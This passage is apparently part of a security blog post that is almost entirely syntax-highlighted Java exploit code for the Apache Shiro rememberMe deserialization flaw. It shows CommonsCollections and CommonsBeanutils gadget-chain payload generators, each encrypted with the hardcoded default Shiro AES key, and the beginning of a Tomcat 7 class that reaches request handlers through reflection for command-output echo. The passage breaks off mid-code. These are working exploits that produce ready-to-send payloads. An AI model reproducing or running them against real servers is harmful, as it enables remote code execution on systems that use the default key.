punctuation">.</span>shiro<span class="token punctuation">.</span>crypto<span class="token punctuation">.</span></span><span class="token class-name">AesCipherService</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>shiro<span class="token punctuation">.</span>util<span class="token punctuation">.</span></span><span class="token class-name">ByteSource</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>io<span class="token punctuation">.</span></span><span class="token class-name">ByteArrayOutputStream</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>io<span class="token punctuation">.</span></span><span class="token class-name">ObjectOutputStream</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>lang<span class="token punctuation">.</span>reflect<span class="token punctuation">.</span></span><span class="token class-name">Field</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>util<span class="token punctuation">.</span></span><span class="token class-name">HashMap</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>util<span class="token punctuation">.</span></span><span class="token class-name">Map</span></span><span class="token punctuation">;</span><span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">CommonsCollectionsShiro</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token class-name">String</span> <span class="token punctuation">[</span><span class="token punctuation">]</span>args<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">Exception</span> <span class="token punctuation">&#123;</span>        <span class="token class-name">ClassPool</span> pool <span class="token operator">=</span> <span class="token class-name">ClassPool</span><span class="token punctuation">.</span><span class="token function">getDefault</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">CtClass</span> clazz <span class="token operator">=</span> pool<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token class-name"><span class="token namespace">com<span class="token punctuation">.</span>govuln<span class="token punctuation">.</span>shiroattack<span class="token punctuation">.</span></span>Evil</span><span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">.</span><span class="token function">getName</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">byte</span><span class="token punctuation">[</span><span class="token punctuation">]</span> payloads <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">CommonsCollectionsShiro</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getPayload</span><span class="token punctuation">(</span>clazz<span class="token punctuation">.</span><span class="token function">toBytecode</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">AesCipherService</span> aes <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">AesCipherService</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">byte</span><span class="token punctuation">[</span><span class="token punctuation">]</span> key <span class="token operator">=</span> <span class="token class-name"><span class="token namespace">java<span class="token punctuation">.</span>util<span class="token punctuation">.</span></span>Base64</span><span class="token punctuation">.</span><span class="token function">getDecoder</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">decode</span><span class="token punctuation">(</span><span class="token string">"kPH+bIxk5D2deZiIxcaaaA=="</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">ByteSource</span> ciphertext <span class="token operator">=</span> aes<span class="token punctuation">.</span><span class="token function">encrypt</span><span class="token punctuation">(</span>payloads<span class="token punctuation">,</span> key<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">System</span><span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">printf</span><span class="token punctuation">(</span>ciphertext<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token function">setFieldValue</span><span class="token punctuation">(</span><span class="token class-name">Object</span> obj<span class="token punctuation">,</span> <span class="token class-name">String</span> fieldName<span class="token punctuation">,</span> <span class="token class-name">Object</span> value<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">Exception</span> <span class="token punctuation">&#123;</span>        <span class="token class-name">Field</span> field <span class="token operator">=</span> obj<span class="token punctuation">.</span><span class="token function">getClass</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getDeclaredField</span><span class="token punctuation">(</span>fieldName<span class="token punctuation">)</span><span class="token punctuation">;</span>        field<span class="token punctuation">.</span><span class="token function">setAccessible</span><span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        field<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> value<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">public</span> <span class="token keyword">byte</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token function">getPayload</span><span class="token punctuation">(</span><span class="token keyword">byte</span><span class="token punctuation">[</span><span class="token punctuation">]</span> clazzBytes<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">Exception</span> <span class="token punctuation">&#123;</span>        <span class="token class-name">TemplatesImpl</span> obj <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">TemplatesImpl</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">setFieldValue</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> <span class="token string">"_bytecodes"</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token keyword">byte</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">&#123;</span>clazzBytes<span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">setFieldValue</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> <span class="token string">"_name"</span><span class="token punctuation">,</span> <span class="token string">"HelloTemplatesImpl"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">setFieldValue</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> <span class="token string">"_tfactory"</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">TransformerFactoryImpl</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">Transformer</span> transformer <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">InvokerTransformer</span><span class="token punctuation">(</span><span class="token string">"getClass"</span><span class="token punctuation">,</span> <span class="token keyword">null</span><span class="token punctuation">,</span> <span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">Map</span> innerMap <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">HashMap</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">Map</span> outerMap <span class="token operator">=</span> <span class="token class-name">LazyMap</span><span class="token punctuation">.</span><span class="token function">decorate</span><span class="token punctuation">(</span>innerMap<span class="token punctuation">,</span> transformer<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">TiedMapEntry</span> tme <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">TiedMapEntry</span><span class="token punctuation">(</span>outerMap<span class="token punctuation">,</span> obj<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">Map</span> expMap <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">HashMap</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        expMap<span class="token punctuation">.</span><span class="token function">put</span><span class="token punctuation">(</span>tme<span class="token punctuation">,</span> <span class="token string">"valuevalue"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        outerMap<span class="token punctuation">.</span><span class="token function">clear</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">setFieldValue</span><span class="token punctuation">(</span>transformer<span class="token punctuation">,</span> <span class="token string">"iMethodName"</span><span class="token punctuation">,</span> <span class="token string">"newTransformer"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token comment">// ==================</span>        <span class="token comment">// 生成序列化字符串</span>        <span class="token class-name">ByteArrayOutputStream</span> barr <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ByteArrayOutputStream</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">ObjectOutputStream</span> oos <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ObjectOutputStream</span><span class="token punctuation">(</span>barr<span class="token punctuation">)</span><span class="token punctuation">;</span>        oos<span class="token punctuation">.</span><span class="token function">writeObject</span><span class="token punctuation">(</span>expMap<span class="token punctuation">)</span><span class="token punctuation">;</span>        oos<span class="token punctuation">.</span><span class="token function">close</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span> barr<span class="token punctuation">.</span><span class="token function">toByteArray</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span></code></pre><h4 id="CommonsBeanutilsShiro"><a href="#CommonsBeanutilsShiro" class="headerlink" title="CommonsBeanutilsShiro"></a>CommonsBeanutilsShiro</h4><pre class="language-java" data-language="java"><code class="language-java"><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xalan<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>xsltc<span class="token punctuation">.</span>trax<span class="token punctuation">.</span></span><span class="token class-name">TemplatesImpl</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xalan<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>xsltc<span class="token punctuation">.</span>trax<span class="token punctuation">.</span></span><span class="token class-name">TransformerFactoryImpl</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">javassist<span class="token punctuation">.</span></span><span class="token class-name">ClassPool</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">javassist<span class="token punctuation">.</span></span><span class="token class-name">CtClass</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>commons<span class="token punctuation">.</span>beanutils<span class="token punctuation">.</span></span><span class="token class-name">BeanComparator</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>shiro<span class="token punctuation">.</span>crypto<span class="token punctuation">.</span></span><span class="token class-name">AesCipherService</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>shiro<span class="token punctuation">.</span>util<span class="token punctuation">.</span></span><span class="token class-name">ByteSource</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>io<span class="token punctuation">.</span></span><span class="token class-name">ByteArrayOutputStream</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>io<span class="token punctuation">.</span></span><span class="token class-name">ObjectOutputStream</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>lang<span class="token punctuation">.</span>reflect<span class="token punctuation">.</span></span><span class="token class-name">Field</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>util<span class="token punctuation">.</span></span><span class="token class-name">PriorityQueue</span></span><span class="token punctuation">;</span><span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">CommonsBeanutilsShiro</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token class-name">String</span> <span class="token punctuation">[</span><span class="token punctuation">]</span>args<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">Exception</span> <span class="token punctuation">&#123;</span>        <span class="token class-name">ClassPool</span> pool <span class="token operator">=</span> <span class="token class-name">ClassPool</span><span class="token punctuation">.</span><span class="token function">getDefault</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">CtClass</span> clazz <span class="token operator">=</span> pool<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span>tomcat89Shiro<span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">.</span><span class="token function">getName</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">byte</span><span class="token punctuation">[</span><span class="token punctuation">]</span> payloads <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">CommonsBeanutilsShiro</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getPayload</span><span class="token punctuation">(</span>clazz<span class="token punctuation">.</span><span class="token function">toBytecode</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">AesCipherService</span> aes <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">AesCipherService</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">byte</span><span class="token punctuation">[</span><span class="token punctuation">]</span> key <span class="token operator">=</span> <span class="token class-name"><span class="token namespace">java<span class="token punctuation">.</span>util<span class="token punctuation">.</span></span>Base64</span><span class="token punctuation">.</span><span class="token function">getDecoder</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">decode</span><span class="token punctuation">(</span><span class="token string">"kPH+bIxk5D2deZiIxcaaaA=="</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">ByteSource</span> ciphertext <span class="token operator">=</span> aes<span class="token punctuation">.</span><span class="token function">encrypt</span><span class="token punctuation">(</span>payloads<span class="token punctuation">,</span> key<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">System</span><span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">printf</span><span class="token punctuation">(</span>ciphertext<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token function">setFieldValue</span><span class="token punctuation">(</span><span class="token class-name">Object</span> obj<span class="token punctuation">,</span> <span class="token class-name">String</span> fieldName<span class="token punctuation">,</span> <span class="token class-name">Object</span> value<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">Exception</span> <span class="token punctuation">&#123;</span>        <span class="token class-name">Field</span> field <span class="token operator">=</span> obj<span class="token punctuation">.</span><span class="token function">getClass</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getDeclaredField</span><span class="token punctuation">(</span>fieldName<span class="token punctuation">)</span><span class="token punctuation">;</span>        field<span class="token punctuation">.</span><span class="token function">setAccessible</span><span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        field<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> value<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">public</span> <span class="token keyword">byte</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token function">getPayload</span><span class="token punctuation">(</span><span class="token keyword">byte</span><span class="token punctuation">[</span><span class="token punctuation">]</span> clazzBytes<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">Exception</span> <span class="token punctuation">&#123;</span>        <span class="token class-name">TemplatesImpl</span> obj <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">TemplatesImpl</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">setFieldValue</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> <span class="token string">"_bytecodes"</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token keyword">byte</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">&#123;</span>clazzBytes<span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">setFieldValue</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> <span class="token string">"_name"</span><span class="token punctuation">,</span> <span class="token string">"HelloTemplatesImpl"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">setFieldValue</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> <span class="token string">"_tfactory"</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">TransformerFactoryImpl</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">final</span> <span class="token class-name">BeanComparator</span> comparator <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">BeanComparator</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">,</span> <span class="token class-name">String</span><span class="token punctuation">.</span>CASE_INSENSITIVE_ORDER<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">final</span> <span class="token class-name">PriorityQueue</span><span class="token generics"><span class="token punctuation">&lt;</span><span class="token class-name">Object</span><span class="token punctuation">></span></span> queue <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">PriorityQueue</span><span class="token generics"><span class="token punctuation">&lt;</span><span class="token class-name">Object</span><span class="token punctuation">></span></span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> comparator<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token comment">// stub data for replacement later</span>        queue<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token string">"1"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        queue<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token string">"1"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">setFieldValue</span><span class="token punctuation">(</span>comparator<span class="token punctuation">,</span> <span class="token string">"property"</span><span class="token punctuation">,</span> <span class="token string">"outputProperties"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">setFieldValue</span><span class="token punctuation">(</span>queue<span class="token punctuation">,</span> <span class="token string">"queue"</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Object</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">&#123;</span>obj<span class="token punctuation">,</span> obj<span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token comment">// ==================</span>        <span class="token comment">// 生成序列化字符串</span>        <span class="token class-name">ByteArrayOutputStream</span> barr <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ByteArrayOutputStream</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">ObjectOutputStream</span> oos <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ObjectOutputStream</span><span class="token punctuation">(</span>barr<span class="token punctuation">)</span><span class="token punctuation">;</span>        oos<span class="token punctuation">.</span><span class="token function">writeObject</span><span class="token punctuation">(</span>queue<span class="token punctuation">)</span><span class="token punctuation">;</span>        oos<span class="token punctuation">.</span><span class="token function">close</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span> barr<span class="token punctuation">.</span><span class="token function">toByteArray</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span></code></pre><h4 id="Tomcat7回显"><a href="#Tomcat7回显" class="headerlink" title="Tomcat7回显"></a>Tomcat7回显</h4><pre class="language-java" data-language="java"><code class="language-java"><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xalan<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>xsltc<span class="token punctuation">.</span></span><span class="token class-name">DOM</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xalan<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>xsltc<span class="token punctuation">.</span></span><span class="token class-name">TransletException</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xalan<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>xsltc<span class="token punctuation">.</span>runtime<span class="token punctuation">.</span></span><span class="token class-name">AbstractTranslet</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xml<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>dtm<span class="token punctuation">.</span></span><span class="token class-name">DTMAxisIterator</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xml<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>serializer<span class="token punctuation">.</span></span><span class="token class-name">SerializationHandler</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>tomcat<span class="token punctuation">.</span>util<span class="token punctuation">.</span>buf<span class="token punctuation">.</span></span><span class="token class-name">ByteChunk</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>lang<span class="token punctuation">.</span>reflect<span class="token punctuation">.</span></span><span class="token class-name">Field</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>util<span class="token punctuation">.</span></span><span class="token class-name">ArrayList</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>io<span class="token punctuation">.</span></span><span class="token operator">*</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>coyote<span class="token punctuation">.</span></span><span class="token class-name">Request</span></span><span class="token punctuation">;</span><span class="token keyword">public</span> <span class="token keyword">class</span> tomcat7Shiro <span class="token keyword">extends</span> <span class="token class-name">AbstractTranslet</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">public</span> <span class="token function">tomcat7Shiro</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>        <span class="token keyword">try</span> <span class="token punctuation">&#123;</span>            <span class="token class-name">ThreadGroup</span> group <span class="token operator">=</span> <span class="token class-name">Thread</span><span class="token punctuation">.</span><span class="token function">currentThread</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getThreadGroup</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token class-name">Field</span> field <span class="token operator">=</span> group<span class="token punctuation">.</span><span class="token function">getClass</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getDeclaredField</span><span class="token punctuation">(</span><span class="token string">"threads"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            field<span class="token punctuation">.</span><span class="token function">setAccessible</span><span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token class-name">Thread</span><span class="token punctuation">[</span><span class="token punctuation">]</span> threads <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token class-name">Thread</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">)</span> field<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span>group<span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token class-name">Thread</span> thread<span class="token operator">:</span>threads<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>                <span class="token class-name">String</span> name <span class="token operator">=</span> thread<span class="token punctuation">.</span><span class="token function">getName</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                <span class="token keyword">if</span><span class="token punctuation">(</span>name<span class="token punctuation">.</span><span class="token function">contains</span><span class="token punctuation">(</span><span class="token string">"http"</span><span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> name<span class="token punctuation">.</span><span class="token function">contains</span><span class="token punctuation">(</span><span class="token string">"Acceptor"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>                    field <span class="token operator">=</span> thread<span class="token punctuation">.</span><span class="token function">getClass</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getDeclaredField</span><span class="token punctuation">(</span><span class="token string">"target"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                    field<span class="token punctuation">.</span><span class="token function">setAccessible</span><span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                    <span class="token class-name">Object</span> obj <span class="token operator">=</span> field<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span>thread<span class="token punctuation">)</span><span class="token punctuation">;</span>                    field <span class="token operator">=</span> obj<span class="token punctuation">.</span><span class="token function">getClass</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getDeclaredField</span><span class="token punctuation">(</span><span class="token string">"this$0"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                    field<span class="token punctuation">.</span><span class="token function">setAccessible</span><span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                    obj <span class="token operator">=</span> field<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">;</span>                    field <span class="token operator">=</span> obj<span class="token punctuation">.</span><span class="token function">getClass</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getDeclaredField</span><span class="token punctuation">(</span><span class="token string">"handler"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                    field<span class="token punctuation">.</span><span class="token function">setAccessible</span><span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                    obj <span class="token operator">=</span> field<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">;</span>                    field <span class="token operator">=</span> obj<span class="token punctuation">.</span><span class="token function">getClass</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getSuperclass</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getDeclaredField</span><span class="token punctuation">(</span><span class="token string">"global"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                    field<span class="token punctuation">.</span><span class="token function">setAccessible</span><span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                    obj <span class="token operator">=</span> field<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">;</span>                    field <span class="token operator">=</span> obj<span class="token punctuation">.</span><span class="token function">getClass</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getDeclaredField</span><span class="token punctuation">(</span><span class="token string">"processors"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                    field<span class="token punctuation">.</span><span class="token function">setAccessible</span><span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                    obj <span class="token operator">=</span> field<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">;</span>                    <span class="token class-name">ArrayList</span> processors <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token class-name">ArrayList</span><span class="token punctuation">)</span> obj<span class="token punctuation">;</span>                    <span class="token 